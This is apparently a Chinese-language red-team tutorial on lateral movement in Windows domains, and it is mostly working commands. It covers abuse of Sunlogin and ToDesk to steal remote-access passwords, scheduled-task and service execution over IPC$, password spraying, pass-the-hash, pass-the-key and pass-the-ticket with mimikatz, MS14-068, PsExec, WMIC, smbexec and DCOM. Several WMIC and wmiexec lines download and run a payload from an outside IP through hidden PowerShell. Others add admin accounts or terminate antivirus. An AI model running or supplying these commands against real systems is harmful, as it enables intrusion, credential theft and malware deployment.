横向移动


IP签名

横向移动

1. 利用远控工具向日葵横向移动

向日葵介绍

向日葵远程控制软件是一款免费的集远程控制电脑/手机/平板、远程桌面连接、远程开机、远程管理、支持内网穿 透的一体化远程控制管理工具软件,且还能进行远程文件传输、远程摄像头监控等。

支持系统:Winodws/Linux/MacOS/Android/iOS

向日葵远控连接

向日葵安装的时候第一次会进入选择界面

image-20221209150246320

使用注册注册表的方式进行绕过,注册表文件如下

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\SOFTWARE\Oray\SunLogin\SunloginClient] “11.1.0.37237_IsRunSeted”=”1”

将以上的代码保存为,xxx.reg如(1.reg)

image-20221209150613855

将文件传到目标服务器

image-20221209150651525

运行注册注册表的命令和运行向日葵

注册注册表的两种方式:
方式一:使用注册表
regedit ‐s 3.reg
方式二:使用命令直接注册注册表
reg add HKEY_CURRENT_USER\SOFTWARE\Oray\SunLogin\SunloginClient /v "11.1.0.37237_IsRunSeted" /t REG_SZ /d 1 /f


SunloginClient.exe 运行向日葵

image-20221209150812758

查看向日葵配置文件

shell type C:\ProgramData\Oray\SunloginClient\config.ini 
fastcode:本机识别码去掉k 
encry_pwd:本机验证码,密文无法直接解密 

image-20221209150843624

解密密码
使用github提供的脚本文件进行解密

https://github.com/wafinfo/Sunflower_get_Password

image-20221209150907237

使用向日葵连接

image-20221209150917927

2. 利用远控工具todesk横向移动

Todesk介绍

ToDesk是一款类似向日葵的远程控制软件,但比向日葵、TV和AD更为流畅和稳定,它同样具备着内网穿透、文件 传输、云端同步和流量加密等功能

有绿色精简版和全功能版两个版本,支持的系统有:Winodws/Linux/MacOS/Android/iOS

Todesk安装

全功能版在双击运行、命令行执行时都会出现UAC弹窗和安装界面,这样非常容易被管理员发现,/S参数可以实现静默安装

shell ToDesk1.exe /S

image-20221209151444874

安装完成后自动运行,接下来查看配置文件

shell type C:\"Program Files (x86)"\ToDesk\config.ini

image-20221209151516717

运行ToDesk后会在默认安装目录下生成一个config.ini配置文件,存储的有设备代码、临时密码、安全密码以及登 录用户和密码等重要敏感信息,但密码都经过ToDesk特有加密算法加密,所以不能通过解密得到明文密码,只需 要找到目标主机ToDesk中的tempAuthPassEx临时密码或authPassEx安全密码,将它们覆盖到我们本地ToDesk中

的tempAuthPassEx,重启ToDesk即可得到明文密码
使用cs进行文件替换

08f4314e069b5fd018daf1ce7fcba51d88e3fa3c97a396aa9157492455e28bb489142e39df3b5f6c2cb4782d1b7ecfb6 02f4b80a146c 
密码是063805

image-20221209151601474

重启程序就可以了

tasklis 查找进程

image-20221209151627331

taskkill /pid 2484 /F 
taskkill /pid 2212 /F 

image-20221209151654231

重新开启

shell C:\"Program Files (x86)"\ToDesk\ToDesk.exe 

image-20221209151715603

连接

img

3. 利用远控工具GoToHTTP横向移动

GoToHTTP介绍

GotoHTTP工作在B2C模式。使用远程控制时,您不必在每一台电脑上都安装远程软件。不管身处何处,有浏览器 就能访问远程电脑。 即使公司网络管控,仍然可以控制或被控制。支持文件传输、无人值守、剪切板同步、远程语 音、远程摄像头、多显示器支持

下载:http://www.gotohttp.com/goto/download.12x

GoToHTTP使用

使用cs或者其他工具将文件上传到目标机器

image-20221209152224166

运行该文件

image-20221209152237331

在运行目录下会生成一个配置文件

image-20221209152244451

查看配置文件里面有连接地址和账号密码

image-20221209152250241

使用网页连接

image-20221209152256325

4. 利用远控工具RustDESK横向移动

RustDESK介绍

远程桌面软件,开箱即用,无需任何配置,完美替代TeamViewer。您完全掌控数据,不用担心安全问题。您可以 使用我们的注册/中继服务器,或者自己设置,亦或者开发您的版本。

https://gitee.com/rustdesk/rustdesk/releases

RustDESK安装

上传到目标机器

image-20221209152632301

运行程序

image-20221209152641197

找到配置文件

C:\Users\用户名\AppData\Roaming\RustDesk\config 

image-20221209152656315

可以看到没有密码,这个时候需要手写这个密码,然后重启工具

tasklist 
taskkill /pid 2988 /F

image-20221209152724057

image-20221209152729111

查看密码已经可以了

image-20221209152736512

连接目标

img

5. IPC配合计划任务横向移动

IPC$介绍

IPC( Internet ProcessConnection)共享“命名管道”的资源,是为了实现进程间通信而开放的命名管道。IPC可以通过验证用户名和密码获得相应的权限,通常在远程管理计算机和查看计算 机的共享资源时使用。

通过ipc$,可以与目标机器建立连接。利用这个连接,不仅可以访问目标机器中的文件,进行上传、下载等 操作,还可以在目标机器上运行其他命令,以获取目标机器的目录结构、用户列 表等信息。

首先,需要建立一个ipc$

net use \\192.168.41.30\ipc$ "密码" /user:administrator

image-20221209153324967

net use

image-20221209153335964

IPC$利用条件

  1. 开启了139、445端口

    IPC$可以远程登录及对默认共享资源的访问,而139端口的开启表示NetBIOS协议的应用,通过139、445(windows2000)端口,可以实现对共享文件打印机的访问。因此,一般来讲IPC需要139、445端口的支持。

  2. 管理员开启了默认共享

    默认共享是为了方便管理员进行远程管理而默认开启的,包括所有的逻辑盘(C$、D$、E$等系统目录winnt或windows(admins)通过IPC$,可以实现对这些默认共享目录的访问

IPC$连接失败原因

  • 用户名或密码错误
  • 目标没有打开IPC$默认共享
  • 不能连接目标的139,445端口

IPC$连接常见错误

错误号 详情
5 拒绝访问
51 Windows无法找到网络路径,即网络中存在问题
53 找不到网络路径,包括IP地址错误、目标未开机、目标的 lanmanserver服务未 启动目标有防火墙(端口过滤)
67 找不到网络名,包括 lanmanworkstation服务未启动、ipcs已被删除
1219 提供的凭据与已存在的凭据集冲突。例如,已经和目标建立了ipcs,需要在删除原连接后重新进 行连接
1326 未知的用户名或错误的密码
1792 试图登录,但是网络登录服务没有启动,包括目标NetLogon服务未启动(连 接域控制器时会出现此情况)
2242 此用户的密码已经过期。例如:目标机器设置了账号管理策略,强制用户定期修改密码°

利用方式-windows自带命令

dir命令

在使用 netuse命令与远程目标机器建立ipc$后,可以使用dir命令列出远程主机中的文件, 如图

dir \\192.168.18.10\c$

image-20221209154221892

tasklist命令

在使用net use命令与远程目标机器建立ipcs后,可以使用 tasklist命令的/S、/U /P参数列 出远程主机上运行的进程

tasklist /s	192.168.18.10

image-20221209154252142

利用方式-schtasks

  1. 查看系统时间

    net time \\IP地址

    image-20221209154417331

  2. 复制文件

    copy 文件 \\IP地址\C$

    image-20221209154437020

  3. 创建计划任务

    schtasks /create /s IP地址 /tn 计划任务名 /sc onstart /tr c:\文件 /ru system /f

    image-20221209154530604

  4. 执行计划任务

    schtasks /run /s IP地址 /i /tn "计划任务名"

    image-20221209154553410

  5. 删除计划任务

    schtasks /delete /s IP地址 /tn "计划任务名" /f

    image-20221209154615942

  6. 清除IPC连接

    net use \\IP /del /y

6. IPC配合系统服务横向移动

sc命令详解

获取到密码并着手横向时,却发现Task Sheduler服务没有启用。这时候我们就可以远程建立服务,然后再启用服务来运行我们想要运行的命令。

描述:sc是用来与服务控制管理器和服务进行通信的命令行程序

用法:sc <server> [command] [service name] <option1> <option2>…

<server>选项的格式为“\\ServerName”可以通过键入以下命令获取油管命令的更多帮助:“sc [command]”

命令 描述
query 查询服务的状态,或枚举服务类型的状态
queryex 查询服务的扩展状态,或枚举服务类型的状态
start 启动服务
pause 向服务发送 PAUSE 控制请求
interrogate 向服务发送 INTERROGATE 控制请求
continue 向服务发送 CONTINUE 控制请求
stop 向服务发送 STOP 请求
config 更改服务的配置(永久)
description 更改服务的描述
failure 更改失败时服务执行的操作
failureflag 更改服务的失败操作标志
sidtype 更改服务的服务 SID 类型
privs 更改服务的所需特权
managedaccount 更改服务以将服务帐户密码标记为由 LSA 管理
qc 查询服务的配置信息
qdescription 查询服务的描述
qfailure 查询失败时服务执行的操作
qfailureflag 查询服务的失败操作标志
qsidtype 查询服务的服务 SID 类型
qprivs 查询服务的所需特权
qtriggerinfo 查询服务的触发器参数
qpreferrednode 查询服务的首选 NUMA 节点
qmanagedaccount 查询服务是否将帐户与 LSA 管理的密码结合使用
qprotection 查询服务的进程保护级别
quserservice 查询用户服务模板的本地实例
delete (从注册表中)删除服务
create 创建服务(并将其添加到注册表中)
control 向服务发送控制
sdshow 显示服务的安全描述符
sdset 设置服务的安全描述符
showsid 显示与任意名称对应的服务 SID 字符串
triggerinfo 配置服务的触发器参数
preferrednode 设置服务的首选 NUMA 节点
GetDisplayName 获取服务的 DisplayName
GetKeyName 获取服务的 ServiceKeyName
EnumDepend 枚举服务依赖关系

使用sc横向

IPC建立连接

net use \\192.168.41.40\ipc$ "Admin@123" /user:administrator

image-20221220154005052

复制文件

copy C:\Users\Administrator\Desktop\wanli.exe \\192.168.41.40\C$

image-20221220154741496

创建服务

sc \\192.168.41.40 create test binpath= "cmd.exe /c c:\wanli.exe"

image-20221220154759731

开启服务

sc \\192.168.17.138 start test

image-20221220154815628

删除服务

sc \\192.168.17.138 delete test

上线机器

image-20221220154845844

7. Password Spraying密码喷洒攻击和域内用户名枚举横向移动

域内用户名枚举攻击原理

正常域用户登录主机,我们可以通过 “net user /domain”来列举出域内的用户。但是当我们用非域用户进行登录时,是不能使用 “net user /domain”这条命令的。或者当主机不在域内但是能与域控通信时, 以上两种情况我们可以通过以下方法对域内用户进行枚举。

Kerberos本身是一种基于身份认证的协议,在 Kerberos 协议认证的第一阶段AS-REQ,当用户不存在时,返回包提示错误。当用户名存在,密码正确和密码错误时,AS-REP的返回包不一样。所以可以利用这点,对域内进行域用户枚举和密码喷洒攻击。在AS-REQ阶段客户端向AS发送用户名,AS对用户名进行验证,用户存在和不存在返回的数据包不一样,所以,根据AS的返回包来对域用户进行枚举

img

枚举工具介绍

kerbrute工具

kerbrute.exe userenum --dc 域控ip -d 域名 用户名字典.txt

image-20221220155215723

密码喷洒攻击原理

在确认用户存在后,客户端又会发送一个AS-REQ请求,如果密码正确,则返回AS-REP。否则返回KRB5KDC_ERP_PREAUTH_FAILED,在常规的爆破中,我们都是先用很多密码去碰撞一个账号,这样很容易导致账号被锁定。而密码喷洒就是先用一个密码去碰撞很多账号,此方法能有效的避免账号被锁定的问题

kerbrute工具

kerbrute.exe passwordspray -d hack.com 1.txt Admin@123

image-20221220155404175

CrackMapExec

CrackMapExec(⼜名 CME)是⼀款⾮常好⽤的密码喷洒攻击的⼯具,在 Kali Linux默认已经安装好。下载地址: https://github.com/byt3bl33d3r/CrackMapExec

crackmapexec smb 192.168.41.10 -u 1.txt -p 'Admin@123' --continue-on-success

img

DomainPasswordSpray.ps1

必须是域内用户才可以

UserList:		用户字典
Password:		单个密码
PasswordList:	密码字典
OutFile:		输出的文件名
Domain:			要爆破的域
Force:			强制喷洒继续,而不提示确认。
Import-Module DomainPasswordSpray.ps1 导入
Invoke-DomainPasswordSpray -UserList 1.txt -Domain hack.com -Password Admin@123
-OutFile res.txt

image-20221220155627155

8. Pass the Hash哈希传递攻击(PTH)横向移动

哈希传递

大多数渗透测试人员都听说过哈希传递(Pass The Hash)攻击。该方法通过找到与账户相关 的密码散列值(通常是 NTLM Hash)来进行攻击。在域环境中,用户登录计算机时使用的大都是域账号,大量计算机在安装时会使用相同的本 地管理员账号和密码,因此,如果计算机的本地管理员账号和密码也是相同的,攻击者就能使用哈希传递攻击的方法登录内网中的其他计算机。同时,通过哈希传递攻击,攻击者不需要花时间破解密码散列值(进而获得密码明文)。在Windows网络中,散列值就是用来证明身份的(有正确的用户名和密码散列值,就能通过验证),而微软自己的产品和工具显然不会支持这种攻击,于是,攻击者往往会使用第三方工具来完成任务。在 WindowsServer2012R2及之后版本的操作系统中,默认在内存中不会记录明文密码,因此,攻击者往往会使用工具将散列值传递到其他计算机中,进行权限验证,实现对远程计算机的控制。

哈希传递攻击原理

当用户需要登录某网站时,如果该网站使用明文的方式保存用户的密码,那么,一旦该网站出现安全漏洞,所有用户的明文密码均会被泄露。由此,产生了散列值的概念。当用户设置密码时,网站服务器会对用户输入的密码进行散列加密处理(通常使用MD5算法)散列加密算法般为单向不可逆算法。当用户登录网站时,会先对用户输入的密码进行散列加 密处理,再与数据库中存储的散列值进行对比,如果完全相同则表示验证成功。主流的Windows操作系统,通常会使用NTLM Hash对访问资源的用户进行身份验证。早期版本的Windows操作系统,则使用LMHash对用户密码进行验证。但是,当密码大于等于14位时,就无法使用LM Hash了。从Windows vista和Windowsserver2008版本开始, Windows操作系统默认禁用LM Hash,因为在使用NTLM Hash进行身份认 证时,不会使用明文口令,而是将明文口令通过系统API(例如Lsalogon User)转换成散列值。不过,攻击者在获得密码散列值之后,依旧可以使用哈希传递攻击来模拟用户进行认证。

哈希传递实验

实验环境如下

192.168.41.30 机器是admin用户进行登录 (本地管理员)
192.168.41.20 机器是administrator登录 (本地管理员) 两台机器的administrator administrator用户账号密码相同

目前使用dir不能访问20机器

image-20221220160758528

使用mimikatz进行hash传递

mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:hack.com /ntlm:570a9a65db8fba761c1008a51d4c95ab

image-20221220161253559

传递完成后会弹出一个框可以进行链接了

使用cs上线

选择pth攻击

img

等待上线

image-20221220161500490

9. Pass the Key密钥传递攻击(PTK)横向攻击

PTK介绍

WinXP/2003/Vista/2008,以及未打KB2871997补丁之前的Win7/2008r2/8/2012,这些环境我们都可以使用NTLM哈希传递

对于8.1/2012r2,安装补丁kb2871997的Win 7/2008r2/8/2012,可以使用AES keys代替NTLM来进行验证

什么是KB2871997

KB2871997:禁止本地管理员账户用于远程连接,这样就无法以本地管理员用户的权限执行wmi、psexec、schtasks、at和访问文件共享。

这个补丁发布后常规的Pass The Hash已经无法成功,唯独默认的 Administrator (SID 500)账号例外, 利用这个账号仍可以进行Pass The Hash远程连接,即使administrator修改了名字
但是还可以通过AES密钥来替代NTLM验证进行横向的操作,其实这个补丁挺鸡肋的,不用AES密钥照样 也可以用NTLM,只是需要Administrator(SID 500),都拿到机器了,Administrator还不容易吗?这 个补丁唯一的好处就是减少存储在内存中的凭据数据,也就是让wdigest协议认证的凭据不会存储在
lsass.exe,这样子当你dump lsass.exe的时候你就会发现,wdigest协议中的凭据你就看不到了!

实验复现

实验条件

机器名 系统 登录用户 ip
域内主机(2012-2) windows server 2012R2 本地管理员admin 192.168.41.147
域内主机(2012-1) windows server 2012R2 本地管理员administrator 192.168.41.146
域控(DC) windows server 2012R2 域管administrator 192.168.41.10

实验前提

我们下载已经控制了2012-2主机,发现他是admin用户登录系统,通过抓取密码发现域管账号存在内存中,但是没有明文,PTH攻击也失效,这个时候采用PTK攻击

实验步骤

使用钓鱼或者其他的方式进行远控

image-20230325171919217

绕过uac提权

image-20230325171930218

抓取密码

image-20230325171938729

传递key

sekurlsa::pth /user:administrator/domain:hack.com  /aes256:b03fcae60f0b32a105a8082e89a09cd88a5a6c54b0a209caaa9664c6bc223232

image-20230325171954986

登录到机器然后执行命令上线

image-20230325172000993

计划任务等等之类的

net use \\2012-1.hack.com 
copy C:\Users\admin\Desktop\wanli.exe \\2012-1.hack.com\C$ 
schtasks /create /s 2012-1.hack.com /tn test /sc onstart /tr c:\wanli.exe /ru  system /f 
schtasks /run /s 2012-1.hack.com /i /tn "test" 

image-20230325172021199

上线成功

image-20230325172027520

10. pass the ticket票据传递攻击(PTT)横向攻击

要想使用mimikatz的哈希传递功能,必须具有本地管理员权限。

mimikatz同样提供了不需要本地管理员权限进行横向渗透测试的方法,

例如票据传递( PassThe Ticket,PTT)

票据传递是基于kerberos认证的一种攻击方式,常用来做后渗透权限维持。

黄金票据攻击利用的前提是得到了域内krbtgt用户的NTLM哈希或AES-256的值。 白银票据攻击利用的前提是得到了域内服务账号的HTML哈希或AES-256的值。 票据传递攻击一般分为两种

1、自己制作票据

2、传递内存中的票据

实验复现

导出内存的票据

mimikatz.exe "privilege::debug" "sekurlsa::tickets /export"

image-20230325172241360

执行以上命令后,会在当前目录下出现多个服务的票据文件,例如krbtgt、cifs、ldap等。

清除内存中的票据

shell klist purge 
mimikatz kerberos::purge 
两个都是清除票据

image-20230325172315805

将高权限的票据文件注入内存

mimikatz kerberos::ptt [0;998d7]-2-0-40e10000-Administrator@krbtgt- HACK.COM.kirbi

image-20230325172330140

查看票据

shell klist
mimikatz kerberos::tgt

image-20230325172346827

访问机器(admin 用户 没有过uac)

dir \\2012-1.hack.com\c$

image-20230325172401347

上线域控

net use	\\dc.hack.com
copy C:\Users\admin\Desktop\wanli.exe \\dc.hack.com\C$
shell schtasks /create /s dc.hack.com /tn test /sc onstart /tr c:\wanli.exe /ru system /f
shell schtasks /run /s dc.hack.com /i /tn "test"

image-20230325172452589

image-20230325172456109

11. PTT攻击之MS14-068传递获取域管横向

MS14-068介绍

ms14-068漏洞主要通过伪造域管的TGT,将普通用户权限提权为域管权限,以此来控制域控。只要服 务器未打ms14-068补丁(KB3011780),在server 2000以上的域控服务器中,都可进行利用

MS14-068的利用条件

1、获取域普通用户的账号密码

2、获取域普通用户的sid

3、服务器未打KB3011780补丁

MS14-068实验

环境介绍

身份 IP 用户
域控 192.168.41.100 windows Server 2008
域内机器 192.168.41.132 域内用户

MS14-068利用

查看域用户的SID

whoami /all

image-20230325172959270

清楚内存中的票据

klist purge 

image-20230325173014799

生成票据

ms14-068.exe -u 域用户@域名 -p 域用户密码 -s 域用户SID -d 域控 

image-20230325173027437

导入票据

kerberos::ptc 票据名字

image-20230325173044066

执行命令

dir \\dc2.test.com\c$  注意是机器名不是IP 

image-20230325173056526

建立网络连接

image-20230325173103544

复制恶意文件

image-20230325173114298

添加计划任务

image-20230325173124650

启动计划任务

schtasks /run /s dc2.test.com /i /tn "test" 

image-20230325173138753

上线DC

image-20230325173150950

goldenPac.exe

此工具是impacket工具包里的,它是MS14-068+psexec的组合,因此使用起来非常放方便快捷
用法

goldenPac.exe 域名/域用户名:域用户明文密码@域控完整域名 

image-20230325173233430

12. PsExec工具远程命令执行横向移动

PsExec介绍

psexec 是 windows 下非常好的一款远程命令行工具。psexec的使用不需要对方主机开方3389端口, 只需要对方开启admin$共享和ipc$ (该共享默认开启,依赖于445端口)。但是,假如目标主机开启了防 火墙(防火墙禁止445端口连接),psexec也是不能使用的,会提示找不到网络路径。由于psexec是 Windows提供的工具,所以杀毒软件将其列在白名单中

下载地址 https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools

PSExec使用条件

1、具有正确的凭证(内存凭证、账号密码、账号NTLM Hash)
2、能建立IPC链接(也就是需要通过smb认证的),且目标机器开启了共享(默认开启的),并且目标 共享中必须有admin$共享

PsExec常用参数

psexec \\ip -u administrator -p admin cmd  进⼊半交互式shell 
PsExec -accepteula \\192.168.108.101 -s cmd.exe 建立交互的shell 
psexec \\ip - uadministrator -p admin -w c:\cmd 进⼊交互式shell,且c:\是⽬标机器的⼯ 作⽬录 
psexec \\ip -u administrator -p admin whoami all 执行命令 
psexec \\ip -u administrator -p admin -d c:\beacon.exe 执行文件 
psexec \\ip -u administrator -p admin -h -d c:\beacon.exe UAC的⽤⼾权限执行文件

实验复现

IPC$下的PsExec

上传psexec

image-20230325174444638

建立IPC$连接

net use \\192.168.41.150\ipc$ "Admin@123" /user:administrator 

image-20230325174521097

返回交互的shell或者执行命令

psexec.exe -accepteula \\192.168.41.150 -s cmd.exe  返回交互shell(必须是msf或者远程 到桌面CS不行) 
psexec.exe -accepteula \\192.168.41.150 -s ipconfig 远程执行命令 

image-20230325174602354

image-20230325174607124

远程复制

copy C:\Users\admin\Desktop\wanli.exe \\192.168.41.150\C$ 

image-20230325174622305

远程上线

psexec.exe -accepteula \\192.168.41.150 -h -d c:\wanli.exe

image-20230325174641160

PTH下的PsExec

找到登录的凭证

image-20230325174730919

找到和扫描地址

image-20230325174747714

进行psexec攻击上线

image-20230325174755398

填写信息上线

image-20230325174809174

上线

image-20230325174815185

PTT下的PsExec

上传psexec

image-20230325174842300

进行PTT攻击,导出内存的票据

mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" 

image-20230325174900937

清除内存中的票据

shell klist purge  
mimikatz kerberos::purge  
两个都是清除票据 

将高权限的票据文件注入内存

mimikatz kerberos::ptt [0;998d7]-2-0-40e10000-Administrator@krbtgt- HACK.COM.kirbi 

image-20230325174929188

查看票据

shell klist 
mimikatz kerberos::tgt 

远程复制

copy C:\Users\admin\Desktop\wanli.exe \\dc.hack.com\C$ 

image-20230325174956055

远程上线

psexec.exe \\dc.hack.com  -h -d c:\wanli.exe

image-20230325175010316

13. WMIC远程执行命令横向移动

什么是WMI

WMI是Windows在Powershell还未发布前,微软用来管理Windows系统的重要数据库工具,WMI本身的组织架构是一个数据库架构,WMI服务使用DCOM或WinRM 协议,自从PsExec在内网中被严格监控后,越来越多的反病毒厂商将PsExec加入了黑名单,于是黑客们渐渐开始使用WMI进行横向移动。通过渗透测试发现,在使用 wmiexec 进行横向移动时,windows 操作系统默认不会将 WMI 的操作记录在日志中。因此很多APT开始使用WMI进行攻击。

WMIC扩展WMI(Windows Management Instrumentation,Windows管理工具),提供了从命令行接口和批处理脚本执行系统管理的支持。
简单来说:wmic就是wmic.exe,位于windows目录底下,是一个命令行程序。WMIC可以以两种模式执行:交互模式(Interactive mode)和非交互模式(Non-Interactive mode),WMI就是Windows Management Instrumentation(Windows 管理规范)。它是 Windows中的一个核心管理技术。

WMIC常见命令

wmic命令需要本地管理员或域管理员才可以进行正常使用,普通权限用户若想要使用wmi,可以修改普通用户的ACL,不过修改用户的ACL也需要管理员权限,普通用户使用wmic。以下命令均在2008R2、2012R2、2016上进行测试,部分命令在虚拟机中测试不行。

wmic logon list brief 登录⽤户 
wmic ntdomain list brief 域控机器 
wmic useraccount list brief ⽤户列表 
wmic share get name,path 查看系统共享 
wmic service list brief |more 服务列表 
wmic startup list full 识别开机启动的程序,包括路径 
wmic fsdir "c:\\test" call delete 删除C盘下的test目录 
wmic nteventlog get path,filename,writeable 查看系统中开启的⽇志 
wmic nicconfig get ipaddress,macaddress 查看系统中⽹卡的IP地址和MAC地址 
wmic qfe get description,installedOn 使⽤wmic识别安装到系统中的补丁情况 
wmic product get name,version 查看系统中安装的软件以及版本,2008R2上执行后无反应。 
wmic useraccount where "name='%UserName%'" call rename newUserName 更改当前用户名 wmic useraccount where "name='Administrator'" call Rename admin 更改指定用户名 
wmic bios list full | findstr /i "vmware" 查看当前系统是否是VMWARE,可以按照实际情况进 行筛选 
wmic desktop get screensaversecure,screensavertimeout 查看当前系统是否有屏保保护,延 迟是多少 
wmic process where name="vmtoolsd.exe" get executablepath 获取指定进程可执行文件的路 径 
wmic environment where "name='temp'" get UserName,VariableValue 获取temp环境变量 查询当前主机的杀毒软件 
wmic process where "name like '%forti%'" get name 
wmic process where name="FortiTray.exe" call terminate 
wmic /namespace:\\root\securitycenter2 path antivirusproduct GET  displayName,productState,pathToSignedProductExe 
wmic /namespace:\\root\securitycenter2 path antispywareproduct GET  displayName,productState, pathToSignedProductExe & wmic  /namespace:\\root\securitycenter2 path antivirusproduct GET  displayName,productState, pathToSignedProductExe 
wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get  displayName /Format:List 
查询windows机器版本和服务位数和.net版本 
wmic os get caption 
wmic os get osarchitecture 
wmic OS get Caption,CSDVersion,OSArchitecture,Version 
wmic product where "Name like 'Microsoft .Net%'" get Name, Version 
查询本机所有盘符 
wmic logicaldisk list brief 
wmic logicaldisk get description,name,size,freespace /value 
卸载和重新安装程序 
wmic product where "name like '%Office%'" get name 
wmic product where name="Office" call uninstall 
查看某个进程的详细信息 (路径,命令⾏参数等) 
wmic process where name="chrome.exe" list full 
wmic process where name="frp.exe" get executablepath,name,ProcessId   进程路径 
wmic process where caption="frp.exe" get caption,commandline /value 
更改PATH环境变量值,新增c:\whoami 
wmic environment where "name='path' and username='<system>'" set  VariableValue="%path%;c:\whoami 
查看某个进程的详细信息-PID 
wmic process list brief 
tasklist /SVC | findstr frp.exe 
wmic process where ProcessId=3604 get  ParentProcessId,commandline,processid,executablepath,name,CreationClassName,Crea tionDate 
终⽌⼀个进程 
wmic process where name ="xshell.exe" call terminate 
ntsd -c q -p 进程的PID 
taskkill -im pid 
获取电脑产品编号和型号信息 
wmic baseboard get Product,SerialNumber 
wmic bios get serialnumber 
安装软件 
wmic product get name,version 
wmic product list brief 

常见错误

1.开启防火墙时,允许共享例外 
错误: 
代码 = 0x800706ba 
说明 = RPC 服务器不可用。 
设备 = Win32 
2.组策略阻止administraotr远程访问时 错误: 
代码 = 0x80070005 
说明 = 拒绝访问。 
设备 = Win32 
3.IP安全策略阻止135时 
错误: 
代码 = 0x800706ba 
说明 = RPC 服务器不可用。 
设备 = Win32 
4.禁用winmgmt服务时 
错误: 
代码 = 0x80070422 
说明 = 无法启动服务,原因可能是已被禁用或与其相关联的设备没有启动。 设备 = Win32 
5.拒绝wbem目录权限,无法使用wmic的 

wmic调用cmd

以下命令需要管理员权限

执行命令并且输出 
wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process call create  "cmd.exe /c ipconfig >c:\ip.txt" 
列出远程主机进程 
wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process list brief 在远程系统上执行bat脚本 
wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码  process call create  c:\programdata\test.bat 
wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码  process call create  "cmd.exe /c net user test1 !@#123QWE /add && net localgroup administrators test1  /add 
执行powershell上线 
wmic /NODE:IP /user:本地用户管理员/域管理员 /password:密码 PROCESS call create  "powershell.exe -nop -w hidden -c \"IEX ((new-object  net.webclient).downloadstring('ps脚本地址'))\""

利用powershell上线

  1. 使用cs生成powershell脚本

    image-20230325183552620

  2. wmic进行上线,把ps1放到公网,可以使用python开启http服务提供下载

    python -m http.server 9988
    wmic /NODE:192.168.41.148 /user:administrator /password:Admin@123 PROCESS call  create "powershell.exe -nop -w hidden -c \"IEX ((new-object  net.webclient).downloadstring('http://118.178.134.226:9988/payload.ps1'))\"" 

    image-20230325183721469

  3. 等待片刻上线

    image-20230325183738965

利用powershell上线

  1. 使用账号密码登录进行powershell上线

    wmiexec.exe administrator:Admin@123@192.168.41.40 "powershell.exe -nop -w hidden  
    -c IEX ((new-object  net.webclient).downloadstring('http://118.178.134.226:9988/payload.ps1'))" 

    image-20230325183843859

  2. 使用hash上线

    wmiexec.exe  -hashes  aad3b435b51404eeaad3b435b51404ee:570a9a65db8fba761c1008a51d4c95ab  administrator@192.168.41.40 "powershell.exe -nop -w hidden -c IEX ((new-object  net.webclient).downloadstring('http://118.178.134.226:9988/payload.ps1'))" 

    image-20230325183912528

wmiexec.vbs

wmiexec.vbs脚本通过VBS调用WMI来模拟PsExec的功能。其可以在远程系统中执行命令并进行回显,获取远程主机的半交互式Shell。wmiexec.vbs支持两种模式,一种是半交互式shell模式,另一种是执行单条命令模式

cscript.exe //nologo wmiexec.vbs /cmd IP 用户 密码 "命令" 

使用powershell上线

cscript.exe //nologo wmiexec.vbs /cmd 192.168.41.148 administrator Admin@123  "powershell.exe -nop -w hidden -c IEX ((new-object  net.webclient).downloadstring('http://118.178.134.226:9988/payload.ps1'))" 

image-20230325184250113

Invoke-WMIExec

Invoke-WMIExec是一个powershell脚本在Invoke-TheHash的文件中用法如下

Invoke-WMIExec -Target IP -Domain 域 -Username 用户 -Hash hash-Command "calc.exe" -verbose 

采用无文件落地的方式进行横向

shell powershell -exec bypass -c IEX (New-Object  System.Net.Webclient).DownloadString('http://118.178.134.226:9988/Invoke- WMIExec.ps1');import-module .\Invoke-WMIExec.ps1;Invoke-WMIExec -Target  192.168.41.148  -Username administrator -Hash 570a9a65db8fba761c1008a51d4c95ab - Command "whoami" -verbose 

本地执行

1、导入脚本

powershell-import powershell/Invoke-WMIExec.ps1

2、运行上线命令

powershell Invoke-WMIExec -Target 192.168.41.20  -Username administrator -Hash  570a9a65db8fba761c1008a51d4c95ab -Command "powershell.exe -nop -w hidden -c IEX  ((new-object  net.webclient).downloadstring('http://118.178.134.226:9988/payload.ps1'))" - verbose 

image-20230325184456467

Invoke-WMIMethod.ps1

该模块为Powershell内置模块,以下为示例,可以自由组合命令进行测试。

$User            #目标系统用户名 
$Password        #目标系统密码 
$Cred            #账号密码整合,导入Credential Invoke-WMIMethod #远程运行指定程序 #####---------------------------##### 

$User = "administrator" 
$Password= ConvertTo-SecureString -String "Admin@123" -AsPlainText -Force 
$Cred = New-Object -TypeName System.Management.Automation.PSCredential - ArgumentList $User , $Password 
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "powershell.exe  
-nop -w hidden -c IEX ((new-object  net.webclient).downloadstring('http://118.178.134.226:9988/payload.ps1'))" - ComputerName "192.168.41.20" -Credential $Cred 

image-20230325184533840

14. SMB远程执行命令横向移动

smb介绍

SMB 全称是 Server Message Block 翻译过来是服务器信息块,它也是一种客户端到服务器的通信协 议。除此之外,SMB 协议也被称为请求-回复协议。 客户端与服务器建立连接后,客户端可以向服务器发
送SMB命令允许用户访问共享、打开、读取或者是写入文件。

利用条件:开启了445端口

smbexec使用

smbexec为impacket工具中的工具,操作简单,容易被杀,使用时无需先进行IPC连接

明文传递命令: 
smbexec hsyy.com/administrator:123.com@192.168.213.163 hash传递: 
smbexec -hashes :$HASH$ ./admin@192.168.213.163 smbbexec -hashes :$HASH$ domain/admin@192.168.213.163 

使用明文

输入命令

smbexec administrator:Admin@123@192.168.41.148 

image-20230325184748893

使用hash

smbexec -hashes  aad3b435b51404eeaad3b435b51404ee:570a9a65db8fba761c1008a51d4c95ab  administrator@192.168.41.148 

image-20230325184810216

15. DCOM远程执行命令横向移动

DCOM介绍

DCOM(分布式组件对象模型)是微软的一系列概念和程序接口。它支持不同的两台机器上的组件间的 通信,不论它们是运行在局域网、广域网、还是Internet上。利用这个接口,客户端程序对象能够向网 络中另一台计算机上的服务器程序对象发送请求,使用DCOM进行横向移动的优势之一在于,在远程主 机上执行的进程将会是托管COM服务器端的软件

获取DCOM列表

Get-CimInstance Win32_DCOMApplication 
